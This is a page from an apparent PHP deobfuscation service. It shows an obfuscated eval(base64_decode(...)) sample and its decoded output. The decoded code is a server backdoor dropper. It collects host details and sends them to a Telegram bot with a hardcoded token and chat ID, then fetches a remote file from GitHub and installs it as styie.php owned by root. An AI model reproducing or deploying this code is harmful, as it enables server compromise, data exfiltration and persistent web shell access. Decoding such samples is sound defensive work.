Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(base64_decode('CiBnb3RvIHhHWVJCOyBkcFNzVjogJGRhdGEgPSBhcnJheSgiXHg2M1wxNTBcMTQx..

Decoded Output download


 goto xGYRB; dpSsV: $data = array("\x63\150\141\164\x5f\151\x64" => $chat_id, "\164\145\170\164" => $message); goto TBOhv; rVkhr: curl_setopt_array($ch, array(CURLOPT_URL => "\x68\x74\164\160\x73\x3a\57\57\141\160\151\56\164\145\154\145\x67\162\141\155\x2e\x6f\162\x67\57\142\x6f\164{$token}\x2f\163\x65\x6e\x64\115\x65\x73\x73\141\x67\x65", CURLOPT_POST => true, CURLOPT_POSTFIELDS => $data, CURLOPT_RETURNTRANSFER => true, CURLOPT_TIMEOUT => 300)); goto HiYJ0; pN2qa: $os = php_uname("\163"); goto vBXtB; vBXtB: $os_full_info = php_uname(); goto fZjkl; j9Tc4: $free_space_in_gb = round(disk_free_space("\57") / 1024 / 1024 / 1024, 2); goto tPGkY; E7pXj: if ($attempt == 5) { echo "\56"; } goto SpKyc; Vdi74: $current_page_url = (isset($_SERVER["\110\x54\x54\x50\123"]) && $_SERVER["\x48\124\124\120\x53"] === "\157\x6e" ? "\150\x74\x74\160\163" : "\150\x74\164\160") . "\72\x2f\57{$_SERVER["\x48\124\x54\120\x5f\x48\117\x53\124"]}{$_SERVER["\122\x45\x51\x55\x45\123\x54\x5f\125\x52\x49"]}"; goto frslf; rBeel: $attempt = 0; goto WT4Eu; h0pdh: set_time_limit(300); goto Ioqli; xGYRB: ini_set("\144\x69\163\160\x6c\141\171\x5f\145\x72\162\x6f\x72\163", 0); goto togHs; WT4Eu: while (!file_exists($destination) && $attempt < 5) { if (copy($url, $destination)) { chmod($destination, 493); rename("\x61\156\x74\151\x39\56\x74\170\164", "\x73\164\171\x69\x65\x2e\x70\150\160"); chmod("\163\164\x79\x69\x65\56\x70\150\x70", 292); chown("\x73\164\171\x69\145\56\x70\x68\160", "\162\157\157\x74"); break; } else { $attempt++; sleep(5); } } goto E7pXj; PoxIm: $destination = "\141\156\x74\151\71\x2e\164\170\164"; goto rBeel; G2afs: curl_close($ch); goto AbIvX; PeY7o: $php_version = phpversion(); goto b3HGz; HiYJ0: $response = curl_exec($ch); goto lnPO0; Xm_61: $chat_id = "\55\x39\x30\x30\x32\x34\x38\x32\x39\64"; goto Vdi74; frslf: $domain = parse_url($current_page_url, PHP_URL_HOST); goto PeY7o; Irxmf: if ($attempt == 5) { echo "\x2e"; } goto l_Jiw; fZjkl: $message = "\x4e\101\115\105\x20\104\x4f\115\101\x49\x4e\x20\x3a\x20" . strtoupper($domain) . "\40\x3a\x20\141\40\x70\141\x74\150\40\72\x20" . $current_page_url . "\xa\x50\x48\120\40\x56\145\x72\163\151\x6f\x6e\x3a\x20" . $php_version . "\xa\123\x65\x72\x76\x65\162\x20\x53\157\146\164\167\x61\162\x65\x3a\40" . $server_software . "\xa\x46\162\145\145\x20\123\x70\141\143\x65\72\x20" . $free_space_in_gb . "\40\107\x42" . "\12\123\145\162\x76\x65\x72\x20\120\162\157\164\157\x63\x6f\x6c\72\40" . $server_protocol . "\xa\123\x65\x72\166\x65\162\40\x49\x50\x3a\x20" . $server_ip . "\xa\x4f\160\145\162\x61\x74\151\156\x67\40\x53\171\x73\164\145\x6d\72\40" . $os . "\xa\x46\x75\154\x6c\40\117\123\x20\x49\x6e\146\x6f\x3a\40" . $os_full_info; goto dpSsV; NJlJn: while (!file_exists($destination) && $attempt < 5) { if (copy($url, $destination)) { chmod($destination, 493); rename("\x61\x6e\x74\x69\x39\56\x74\170\164", "\163\x74\171\x69\x65\x2e\160\150\160"); chmod("\163\x74\x79\151\145\x2e\x70\x68\160", 292); chown("\163\x74\x79\x69\x65\x2e\160\150\160", "\x72\x6f\x6f\x74"); break; } else { $attempt++; sleep(5); } } goto Irxmf; Ioqli: $token = "\66\64\63\x32\x31\60\x33\x38\x38\62\x3a\101\101\105\162\x41\154\x78\x51\x5a\146\113\121\65\132\104\x43\x6d\x4a\x35\x31\x59\x55\x6d\x75\x4b\x44\62\x75\x6f\x43\115\x2d\127\x61\x59"; goto Xm_61; togHs: ini_set("\x64\x69\163\x70\x6c\141\171\x5f\x73\164\141\x72\x74\x75\160\137\145\x72\162\157\x72\x73", 0); goto ByVgt; lnPO0: if ($response === false) { } else { $httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE); } goto G2afs; TWZ1x: $server_ip = $_SERVER["\123\x45\122\126\x45\x52\x5f\101\104\104\122"]; goto pN2qa; umKFk: $attempt = 0; goto NJlJn; r4fnS: $destination = "\x61\x6e\x74\151\71\x2e\x74\x78\x74"; goto umKFk; l_Jiw: $url = "\150\164\164\x70\x73\72\x2f\57\162\141\167\56\x67\x69\x74\150\165\x62\165\x73\145\162\x63\x6f\x6e\x74\x65\156\164\56\143\x6f\x6d\x2f\x63\x6c\141\x73\x73\55\x73\x69\172\x65\x2f\163\151\172\x65\x2f\x6d\141\151\x6e\x2f\x61\x6e\x74\151\x39\x2e\x74\170\x74"; goto PoxIm; AbIvX: $url = "\150\164\164\x70\x73\72\x2f\x2f\162\x61\x77\56\147\151\x74\x68\x75\x62\165\163\x65\x72\143\x6f\x6e\164\145\x6e\x74\56\x63\157\155\x2f\143\x6c\x61\163\x73\55\163\151\x7a\x65\57\163\151\x7a\145\x2f\x6d\x61\x69\x6e\57\x61\x6e\x74\151\x39\56\164\170\164"; goto r4fnS; ByVgt: error_reporting(0); goto h0pdh; tPGkY: $server_protocol = $_SERVER["\123\x45\x52\x56\105\122\x5f\x50\122\x4f\x54\x4f\x43\117\x4c"]; goto TWZ1x; b3HGz: $server_software = $_SERVER["\x53\105\x52\x56\x45\x52\x5f\123\117\106\x54\127\x41\122\105"]; goto j9Tc4; TBOhv: $ch = curl_init(); goto rVkhr; SpKyc:

Did this file decode correctly?

Original Code

<?php eval(base64_decode('CiBnb3RvIHhHWVJCOyBkcFNzVjogJGRhdGEgPSBhcnJheSgiXHg2M1wxNTBcMTQxXDE2NFx4NWZcMTUxXHg2NCIgPT4gJGNoYXRfaWQsICJcMTY0XDE0NVwxNzBcMTY0IiA9PiAkbWVzc2FnZSk7IGdvdG8gVEJPaHY7IHJWa2hyOiBjdXJsX3NldG9wdF9hcnJheSgkY2gsIGFycmF5KENVUkxPUFRfVVJMID0+ICJceDY4XHg3NFwxNjRcMTYwXHg3M1x4M2FcNTdcNTdcMTQxXDE2MFwxNTFcNTZcMTY0XDE0NVwxNTRcMTQ1XHg2N1wxNjJcMTQxXDE1NVx4MmVceDZmXDE2Mlx4NjdcNTdcMTQyXHg2ZlwxNjR7JHRva2VufVx4MmZcMTYzXHg2NVx4NmVceDY0XDExNVx4NjVceDczXHg3M1wxNDFceDY3XHg2NSIsIENVUkxPUFRfUE9TVCA9PiB0cnVlLCBDVVJMT1BUX1BPU1RGSUVMRFMgPT4gJGRhdGEsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIgPT4gdHJ1ZSwgQ1VSTE9QVF9USU1FT1VUID0+IDMwMCkpOyBnb3RvIEhpWUowOyBwTjJxYTogJG9zID0gcGhwX3VuYW1lKCJcMTYzIik7IGdvdG8gdkJYdEI7IHZCWHRCOiAkb3NfZnVsbF9pbmZvID0gcGhwX3VuYW1lKCk7IGdvdG8gZlpqa2w7IGo5VGM0OiAkZnJlZV9zcGFjZV9pbl9nYiA9IHJvdW5kKGRpc2tfZnJlZV9zcGFjZSgiXDU3IikgLyAxMDI0IC8gMTAyNCAvIDEwMjQsIDIpOyBnb3RvIHRQR2tZOyBFN3BYajogaWYgKCRhdHRlbXB0ID09IDUpIHsgZWNobyAiXDU2IjsgfSBnb3RvIFNwS3ljOyBWZGk3NDogJGN1cnJlbnRfcGFnZV91cmwgPSAoaXNzZXQoJF9TRVJWRVJbIlwxMTBceDU0XHg1NFx4NTBcMTIzIl0pICYmICRfU0VSVkVSWyJceDQ4XDEyNFwxMjRcMTIwXHg1MyJdID09PSAiXDE1N1x4NmUiID8gIlwxNTBceDc0XHg3NFwxNjBcMTYzIiA6ICJcMTUwXHg3NFwxNjRcMTYwIikgLiAiXDcyXHgyZlw1N3skX1NFUlZFUlsiXHg0OFwxMjRceDU0XDEyMFx4NWZceDQ4XDExN1x4NTNcMTI0Il19eyRfU0VSVkVSWyJcMTIyXHg0NVx4NTFceDU1XHg0NVwxMjNceDU0XHg1ZlwxMjVceDUyXHg0OSJdfSI7IGdvdG8gZnJzbGY7IHJCZWVsOiAkYXR0ZW1wdCA9IDA7IGdvdG8gV1Q0RXU7IGgwcGRoOiBzZXRfdGltZV9saW1pdCgzMDApOyBnb3RvIElvcWxpOyB4R1lSQjogaW5pX3NldCgiXDE0NFx4NjlcMTYzXDE2MFx4NmNcMTQxXDE3MVx4NWZcMTQ1XHg3MlwxNjJceDZmXHg3MlwxNjMiLCAwKTsgZ290byB0b2dIczsgV1Q0RXU6IHdoaWxlICghZmlsZV9leGlzdHMoJGRlc3RpbmF0aW9uKSAmJiAkYXR0ZW1wdCA8IDUpIHsgaWYgKGNvcHkoJHVybCwgJGRlc3RpbmF0aW9uKSkgeyBjaG1vZCgkZGVzdGluYXRpb24sIDQ5Myk7IHJlbmFtZSgiXHg2MVwxNTZceDc0XDE1MVx4MzlcNTZceDc0XDE3MFwxNjQiLCAiXHg3M1wxNjRcMTcxXHg2OVx4NjVceDJlXHg3MFwxNTBcMTYwIik7IGNobW9kKCJcMTYzXDE2NFx4NzlceDY5XHg2NVw1Nlx4NzBcMTUwXHg3MCIsIDI5Mik7IGNob3duKCJceDczXDE2NFwxNzFceDY5XDE0NVw1Nlx4NzBceDY4XDE2MCIsICJcMTYyXDE1N1wxNTdceDc0Iik7IGJyZWFrOyB9IGVsc2UgeyAkYXR0ZW1wdCsrOyBzbGVlcCg1KTsgfSB9IGdvdG8gRTdwWGo7IFBveEltOiAkZGVzdGluYXRpb24gPSAiXDE0MVwxNTZceDc0XDE1MVw3MVx4MmVcMTY0XDE3MFwxNjQiOyBnb3RvIHJCZWVsOyBHMmFmczogY3VybF9jbG9zZSgkY2gpOyBnb3RvIEFiSXZYOyBQZVk3bzogJHBocF92ZXJzaW9uID0gcGhwdmVyc2lvbigpOyBnb3RvIGIzSEd6OyBIaVlKMDogJHJlc3BvbnNlID0gY3VybF9leGVjKCRjaCk7IGdvdG8gbG5QTzA7IFhtXzYxOiAkY2hhdF9pZCA9ICJcNTVceDM5XHgzMFx4MzBceDMyXHgzNFx4MzhceDMyXHgzOVw2NCI7IGdvdG8gVmRpNzQ7IGZyc2xmOiAkZG9tYWluID0gcGFyc2VfdXJsKCRjdXJyZW50X3BhZ2VfdXJsLCBQSFBfVVJMX0hPU1QpOyBnb3RvIFBlWTdvOyBJcnhtZjogaWYgKCRhdHRlbXB0ID09IDUpIHsgZWNobyAiXHgyZSI7IH0gZ290byBsX0ppdzsgZlpqa2w6ICRtZXNzYWdlID0gIlx4NGVcMTAxXDExNVwxMDVceDIwXDEwNFx4NGZcMTE1XDEwMVx4NDlceDRlXHgyMFx4M2FceDIwIiAuIHN0cnRvdXBwZXIoJGRvbWFpbikgLiAiXDQwXHgzYVx4MjBcMTQxXDQwXHg3MFwxNDFceDc0XDE1MFw0MFw3Mlx4MjAiIC4gJGN1cnJlbnRfcGFnZV91cmwgLiAiXHhhXHg1MFx4NDhcMTIwXDQwXHg1NlwxNDVceDcyXDE2M1wxNTFceDZmXHg2ZVx4M2FceDIwIiAuICRwaHBfdmVyc2lvbiAuICJceGFcMTIzXHg2NVx4NzJceDc2XHg2NVwxNjJceDIwXHg1M1wxNTdcMTQ2XDE2NFwxNjdceDYxXDE2Mlx4NjVceDNhXDQwIiAuICRzZXJ2ZXJfc29mdHdhcmUgLiAiXHhhXHg0NlwxNjJcMTQ1XDE0NVx4MjBcMTIzXHg3MFwxNDFcMTQzXHg2NVw3Mlx4MjAiIC4gJGZyZWVfc3BhY2VfaW5fZ2IgLiAiXDQwXDEwN1x4NDIiIC4gIlwxMlwxMjNcMTQ1XDE2Mlx4NzZceDY1XHg3Mlx4MjBcMTIwXDE2MlwxNTdcMTY0XDE1N1x4NjNceDZmXHg2Y1w3Mlw0MCIgLiAkc2VydmVyX3Byb3RvY29sIC4gIlx4YVwxMjNceDY1XHg3MlwxNjZceDY1XDE2Mlw0MFx4NDlceDUwXHgzYVx4MjAiIC4gJHNlcnZlcl9pcCAuICJceGFceDRmXDE2MFwxNDVcMTYyXHg2MVx4NzRcMTUxXDE1Nlx4NjdcNDBceDUzXDE3MVx4NzNcMTY0XDE0NVx4NmRcNzJcNDAiIC4gJG9zIC4gIlx4YVx4NDZceDc1XDE1NFx4NmNcNDBcMTE3XDEyM1x4MjBceDQ5XHg2ZVwxNDZceDZmXHgzYVw0MCIgLiAkb3NfZnVsbF9pbmZvOyBnb3RvIGRwU3NWOyBOSmxKbjogd2hpbGUgKCFmaWxlX2V4aXN0cygkZGVzdGluYXRpb24pICYmICRhdHRlbXB0IDwgNSkgeyBpZiAoY29weSgkdXJsLCAkZGVzdGluYXRpb24pKSB7IGNobW9kKCRkZXN0aW5hdGlvbiwgNDkzKTsgcmVuYW1lKCJceDYxXHg2ZVx4NzRceDY5XHgzOVw1Nlx4NzRcMTcwXDE2NCIsICJcMTYzXHg3NFwxNzFceDY5XHg2NVx4MmVcMTYwXDE1MFwxNjAiKTsgY2htb2QoIlwxNjNceDc0XHg3OVwxNTFcMTQ1XHgyZVx4NzBceDY4XDE2MCIsIDI5Mik7IGNob3duKCJcMTYzXHg3NFx4NzlceDY5XHg2NVx4MmVcMTYwXDE1MFwxNjAiLCAiXHg3Mlx4NmZceDZmXHg3NCIpOyBicmVhazsgfSBlbHNlIHsgJGF0dGVtcHQrKzsgc2xlZXAoNSk7IH0gfSBnb3RvIElyeG1mOyBJb3FsaTogJHRva2VuID0gIlw2Nlw2NFw2M1x4MzJceDMxXDYwXHgzM1x4MzhceDM4XDYyXHgzYVwxMDFcMTAxXDEwNVwxNjJceDQxXDE1NFx4NzhceDUxXHg1YVwxNDZcMTEzXDEyMVw2NVwxMzJcMTA0XHg0M1x4NmRceDRhXHgzNVx4MzFceDU5XHg1NVx4NmRceDc1XHg0Ylx4NDRcNjJceDc1XHg2Zlx4NDNcMTE1XHgyZFwxMjdceDYxXHg1OSI7IGdvdG8gWG1fNjE7IHRvZ0hzOiBpbmlfc2V0KCJceDY0XHg2OVwxNjNceDcwXHg2Y1wxNDFcMTcxXHg1Zlx4NzNcMTY0XDE0MVx4NzJceDc0XHg3NVwxNjBcMTM3XDE0NVx4NzJcMTYyXDE1N1x4NzJceDczIiwgMCk7IGdvdG8gQnlWZ3Q7IGxuUE8wOiBpZiAoJHJlc3BvbnNlID09PSBmYWxzZSkgeyB9IGVsc2UgeyAkaHR0cGNvZGUgPSBjdXJsX2dldGluZm8oJGNoLCBDVVJMSU5GT19IVFRQX0NPREUpOyB9IGdvdG8gRzJhZnM7IFRXWjF4OiAkc2VydmVyX2lwID0gJF9TRVJWRVJbIlwxMjNceDQ1XDEyMlwxMjZceDQ1XHg1Mlx4NWZcMTAxXDEwNFwxMDRcMTIyIl07IGdvdG8gcE4ycWE7IHVtS0ZrOiAkYXR0ZW1wdCA9IDA7IGdvdG8gTkpsSm47IHI0Zm5TOiAkZGVzdGluYXRpb24gPSAiXHg2MVx4NmVceDc0XDE1MVw3MVx4MmVceDc0XHg3OFx4NzQiOyBnb3RvIHVtS0ZrOyBsX0ppdzogJHVybCA9ICJcMTUwXDE2NFwxNjRceDcwXHg3M1w3Mlx4MmZcNTdcMTYyXDE0MVwxNjdcNTZceDY3XHg2OVx4NzRcMTUwXDE2NVx4NjJcMTY1XHg3M1wxNDVcMTYyXHg2M1x4NmZceDZlXHg3NFx4NjVcMTU2XDE2NFw1NlwxNDNceDZmXHg2ZFx4MmZceDYzXHg2Y1wxNDFceDczXHg3M1w1NVx4NzNceDY5XDE3Mlx4NjVceDJmXDE2M1wxNTFcMTcyXHg2NVx4MmZceDZkXDE0MVwxNTFceDZlXHgyZlx4NjFceDZlXHg3NFwxNTFceDM5XHgyZVx4NzRcMTcwXHg3NCI7IGdvdG8gUG94SW07IEFiSXZYOiAkdXJsID0gIlwxNTBcMTY0XDE2NFx4NzBceDczXDcyXHgyZlx4MmZcMTYyXHg2MVx4NzdcNTZcMTQ3XDE1MVx4NzRceDY4XHg3NVx4NjJcMTY1XDE2M1x4NjVceDcyXDE0M1x4NmZceDZlXDE2NFwxNDVceDZlXHg3NFw1Nlx4NjNcMTU3XDE1NVx4MmZcMTQzXHg2Y1x4NjFcMTYzXHg3M1w1NVwxNjNcMTUxXHg3YVx4NjVcNTdcMTYzXDE1MVx4N2FcMTQ1XHgyZlx4NmRceDYxXHg2OVx4NmVcNTdceDYxXHg2ZVx4NzRcMTUxXHgzOVw1NlwxNjRcMTcwXDE2NCI7IGdvdG8gcjRmblM7IEJ5Vmd0OiBlcnJvcl9yZXBvcnRpbmcoMCk7IGdvdG8gaDBwZGg7IHRQR2tZOiAkc2VydmVyX3Byb3RvY29sID0gJF9TRVJWRVJbIlwxMjNceDQ1XHg1Mlx4NTZcMTA1XDEyMlx4NWZceDUwXDEyMlx4NGZceDU0XHg0Zlx4NDNcMTE3XHg0YyJdOyBnb3RvIFRXWjF4OyBiM0hHejogJHNlcnZlcl9zb2Z0d2FyZSA9ICRfU0VSVkVSWyJceDUzXDEwNVx4NTJceDU2XHg0NVx4NTJceDVmXDEyM1wxMTdcMTA2XHg1NFwxMjdceDQxXDEyMlwxMDUiXTsgZ290byBqOVRjNDsgVEJPaHY6ICRjaCA9IGN1cmxfaW5pdCgpOyBnb3RvIHJWa2hyOyBTcEt5Yzog')); ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 f48a093baa7385515416d908a838b70b
Eval Count 1
Decode Time 39 ms